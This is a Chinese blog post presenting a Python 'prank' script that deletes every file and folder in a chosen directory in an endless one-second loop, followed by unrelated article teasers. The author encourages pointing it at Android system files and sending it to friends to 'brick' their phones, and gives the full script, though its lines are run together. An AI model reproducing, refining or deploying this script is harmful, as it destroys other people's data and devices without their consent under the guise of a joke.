python编程之黑洞文件

之前我们学习了Python的爬虫及反爬技术,今天我们就来了一个恶作剧程序!

这里主要涉及到Python的os,time,shutil这几个库

作用:它可以重复删除指定目录内的所有文件,千万不要小瞧这个功能,如果你指定的目录是像手机安卓这样的系统文件的话,将这个程序发给你的好友,不知道多少应用要中招,他的手机就可以变砖块了!哈哈!

好的我们直接看源码!

import os
#导入OS 
import shutil
#导入shutli
import time
#导入time模块,用于时间延迟,不然电脑性能不够def delete_contents(directory):# 确保目录存在if not os.path.exists(directory):print(f"The directory {directory} does not exist.")return# 遍历目录中的所有文件和子目录for filename in os.listdir(directory):file_path = os.path.join(directory, filename)try:# 如果是文件,直接删除if os.path.isfile(file_path) or os.path.islink(file_path):os.unlink(file_path)# 如果是目录,递归删除elif os.path.isdir(file_path):shutil.rmtree(file_path)except Exception as e:print(f'Failed to delete {file_path}. Reason: {e}')def repeat_delete(directory, interval):while True:delete_contents(directory)print(f"Deleted contents of {directory}. Waiting for {interval} seconds...")time.sleep(interval)# 使用函数重复删除指定目录下的所有内容,每5分钟执行一次
repeat_delete('这里输入你目录的路径', 1)  # 延迟一秒,当然可以缩短时间

运行试一试吧!手机内运行也可以!

可以将系统文件移动到你所指定的目录哟!哈哈!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/758855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3.6 条件判断语句cmp,je,ja,jb及adc、sbb指令

汇编语言 1. adc指令 adc是带进位加法指令,它利用了CF位上记录的进位值指令格式:adc 操作对象1,操作对象2功能:操作对象1 操作对象1 操作对象2 CF例如:adc ax,bx,实现的功能是:ax ax bx …

PyCharm中设置代码模版

前言 新创建一个.py文件后,我们总需要在开头写一些必要的代码,有什么方法能够一劳永逸,让这些代码自动生成呢? 有,它就是代码模版。 设置代码模版 这里先说说如何设置它。 步骤:首先打开PyCharm&#xff0…

隐私计算笔记(1)

一、可信流通体系 建立数据来源可确认、使用范围可界定、流通过程可追溯、安全风险可防范的数据可流通体系。 二、产生信任的基石 身份可确认利益可依赖能力有预期行为有后果 三、数据流通不可信风险 内循环:在内部循环中,数据持有方在其自身的运维…

MySQL介绍

一、MySQL数据库介绍 1、发展史 1996年 MySQL1.0 2008年1月16日 Sun公司收购了 MySQL 2009年4月20日 Oracle收购了Sun公司 MySQL是一种开放源代码的关系型数据库管理系统 使用最常用的数据库管理语言 SQL(结构化查询语言) MySQL是开放源代码的 因此所有…

c#使用onnxruntime调用yolo模型导出的onnx模型分割图片

1.今天写下c#中怎么使用yolo模型系列导出的onnx分割图片 2.yolo训练好后,把模型导出为onnx模式。 3.导出模型为onnx模式后,在window中要引用,可以使用 Microsoft.ML.OnnxRuntime库 4.window系统要求win10或者更高,vs用vs2022或更高…

【Kotlin】扩展属性、扩展函数

1 类的扩展 Kotlin 提供了扩展类或接口的操作,而无需通过类继承或使用装饰器等设计模式,来为某个类添加一些额外的属性或函数,我们只需要通过一个被称为扩展的特殊声明来完成。通过这种机制,我们可以将那些第三方类不具备的功能强…

C语言例3-35:长度运算的例子

长度运算符的表现形式: sizeof(数据类型符) 或 sizeof(变量) 长度运算符的优先级: 与单目算术运算符、单目逻辑运算符、自增和自减运算符的优先级相同。上述优先级相同的运算符的结合性都是从右至左。 长度运算的例子 代码如…

二手交易平台|基于JSP技术+ Mysql+Java+ B/S结构的二手交易平台设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java,ssm,springboot的平台设计与实现项目系统开发资源(可…

关于在ArkTS中添加动画没有效果这件事

先来看看错的 Entry Component struct an {State a : number 0;State ang : number 0;build() {Row(){Text(^_^).fontSize(90).position({x : 0,y : this.a}).rotate({angle : this.ang,centerX : 50%,centerY : 50%}).onClick(() > {this.a 100;}).animation({duration…

okcc呼叫中心线路不通可以跳下一个线路吗?

在 OKCC(呼叫中心系统)中,通常可以通过设置线路故障跳过功能来实现在当前线路不通的情况下自动跳转到下一个可用线路进行呼叫。这项功能可以提高呼叫成功率和系统的稳定性。具体操作步骤可能会略有不同,技术问题欢迎微博主kelaile…

亚马逊等跨境电商平台自养号测评的五个核心因素

一、安全稳定的环境系统 尽管市场上存在大量现成的系统和软件包,卖个软件或设备给你,这种基本上都没有解决风控的能力,因此,小编推荐大家还是自己掌握相关技术,避免过度依赖于外部资源,目前,也…

通过电机相电流计算电机反电动势

要通过电机的相电流来计算电机的反电动势(back electromotive force, BEMF),可以使用以下方法: 给定相电流和电机参数:首先,你需要测量或获取电机的相电流值,这通常是通过电流传感器实现的。同时…

.net core 接入nacos

安装nacos 安装nacos .net core 接入nacos 引用包 nacos-sdk-csharpnacos-sdk-csharp.Extensions.Configuration Program 代码 public static IHostBuilder CreateHostBuilder(String[] args) >Host.CreateDefaultBuilder(args).ConfigureAppConfiguration((hostingCon…

联合和枚举

联合体类型的声明 联合体(Union)是一种特殊的数据类型,它允许在同一内存位置存储不同类型的数据。与结构体不同的是,联合体的所有成员共享同一块内存空间,因此联合体的大小取决于它最大的成员的大小。 所以联合体也叫…

Spring Web MVC入门(5)

响应 在我们前面的代码例子中, 都已经设置了响应数据Http响应结果可以是数据, 也可以是静态页面, 也可以针对响应设置状态码, Header信息等. 返回静态页面 创建前端页面index.html(注意路径) html代码如下: <!DOCTYPE html> <html lang"en"> <hea…

Java Maven项目实现自动化部署到Docker上

前言 目前项目是采用docker部署的, 由于需要新增一个微服务,最终是实现自动推送到远程的docker上,所以就顺便记录一下操作步骤 服务器层面配置 开启 docker 所在服务器远程访问 # 1、修改docker配置文件 vim /lib/systemd/system/docker.service 在ExecStart后面加上&#xff…

刷新金融知识库,与时代并进!社科院与杜兰大学金融管理硕士项目为职场注入新活力

在这个日新月异的时代&#xff0c;金融行业的变革如同翻涌的浪潮&#xff0c;不断冲刷着我们的知识体系。为了应对这一挑战&#xff0c;我们需要不断更新自己的金融知识库&#xff0c;掌握最新的行业动态和前沿理论。而社科院与杜兰大学联合推出的金融管理硕士项目&#xff0c;…

推荐系统中常用评价指标及其实现

推荐系统中常用评价指标及其实现 定义 0 符号系统 符号含义备注K, kTop-K 推荐中的 K 值, 比如 Top-5 表示给每个用户推荐 5 个物品 U U U用户总数量 I I I物品总数量 u u u代指一个用户 i i i代指一个物品 R ( u ) \mathcal{R}(u) R(u)给用户 u u u 推荐的物品列表 T ( u …

腾讯云服务器如何购买省钱?2024年优惠券和优惠活动整理

腾讯云代金券领取渠道有哪些&#xff1f;腾讯云官网可以领取、官方媒体账号可以领取代金券、完成任务可以领取代金券&#xff0c;大家也可以在腾讯云百科蹲守代金券&#xff0c;因为腾讯云代金券领取渠道比较分散&#xff0c;腾讯云百科txybk.com专注汇总优惠代金券领取页面&am…

Windows 10中打开控制面板的13种方法,总有一种适合你

前言 虽然有传言称微软将取消控制面板,但它不会那么快消失。一些重要的设置仅在Windows 10的经典控制面板中找得到,它们不在设置应用程序中。本文有13种方法可以打开控制面板。 搜索开始菜单 你可以使用“开始”菜单的搜索功能搜索PC上的任何应用程序。在任务栏左侧的搜索…